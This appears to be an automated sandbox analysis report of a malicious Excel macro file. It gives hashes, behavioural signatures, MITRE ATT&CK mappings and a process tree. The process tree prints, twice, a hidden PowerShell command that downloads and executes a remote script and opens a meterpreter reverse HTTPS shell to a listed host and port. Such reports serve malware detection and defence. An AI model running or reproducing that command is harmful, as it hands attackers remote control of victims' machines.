473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac

General

Target

473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac.xls
Size

44KB
MD5

3d2b24d0a1db0e82fa1f254924128354
SHA1

1cecd46eac6c6aadbb5fb6a1869337328400e745
SHA256

473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac
SHA512

3a8c459a1d67f69b7558832821cc78a3f4571597a9ce4969edc9aea4947ff791b1fe47206c0ef229c5e3f5d13f632c33358be3198ba260a5123c5fd72d644948
SSDEEP

768:Stvo+eUk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJET+juFlmQQcAOJ9acv9acyL:6/k3hbdlylKsgqopeJBWhZFGkE+cL2Ni

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3800	2424	powershell.exe	83
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5032	4124	wscript.exe	82

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	3800	powershell.exe
12	1992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3800	powershell.exe
1992	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
11	raw.githubusercontent.com
12	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4124	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3800	powershell.exe
3800	powershell.exe
1992	powershell.exe
1992	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4124	EXCEL.EXE
4124	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE
4124	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4124 wrote to memory of 5032	4124	EXCEL.EXE	86
PID 4124 wrote to memory of 5032	4124	EXCEL.EXE	86
PID 5032 wrote to memory of 1992	5032	wscript.exe	87
PID 5032 wrote to memory of 1992	5032	wscript.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4124
- C:\Windows\SYSTEM32\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_acbsgy2o.uhr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
e97a8090f3e1486f3c1184be030e33fd

SHA1
5c359d878bfc4a2d60b58c2a63b3f5f99aa0c45d

SHA256
d3f64a2301ee66bc64aa01be9252ca3e4f6b8f2ffd58531f57e46b5ea19952e1

SHA512
22a0ec7dbbd8f405038fe9bb5a682493663680acc2701c93eb25b670c113fc8d69856b780d7290ba75c476f76741df1088df0d48900e429a306ba09305e405ee

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/3800-56-0x00000297D9580000-0x00000297D95C4000-memory.dmp

Filesize
272KB

Download
memory/3800-41-0x00000297D93E0000-0x00000297D9402000-memory.dmp

Filesize
136KB

Download
memory/4124-12-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-21-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-9-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-0-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp

Filesize
64KB

Download
memory/4124-13-0x00007FF951760000-0x00007FF951770000-memory.dmp

Filesize
64KB

Download
memory/4124-11-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-14-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-15-0x00007FF951760000-0x00007FF951770000-memory.dmp

Filesize
64KB

Download
memory/4124-18-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-19-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-17-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-16-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-8-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-5-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-22-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-10-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-20-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-25-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-26-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-33-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-34-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-7-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp

Filesize
64KB

Download
memory/4124-6-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-4-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp

Filesize
64KB

Download
memory/4124-2-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp

Filesize
64KB

Download
memory/4124-3-0x00007FF993B0D000-0x00007FF993B0E000-memory.dmp

Filesize
4KB

Download
memory/4124-1-0x00007FF953AF0000-0x00007FF953B00000-memory.dmp

Filesize
64KB

Download
memory/4124-70-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-71-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download
memory/4124-72-0x00007FF993A70000-0x00007FF993C65000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads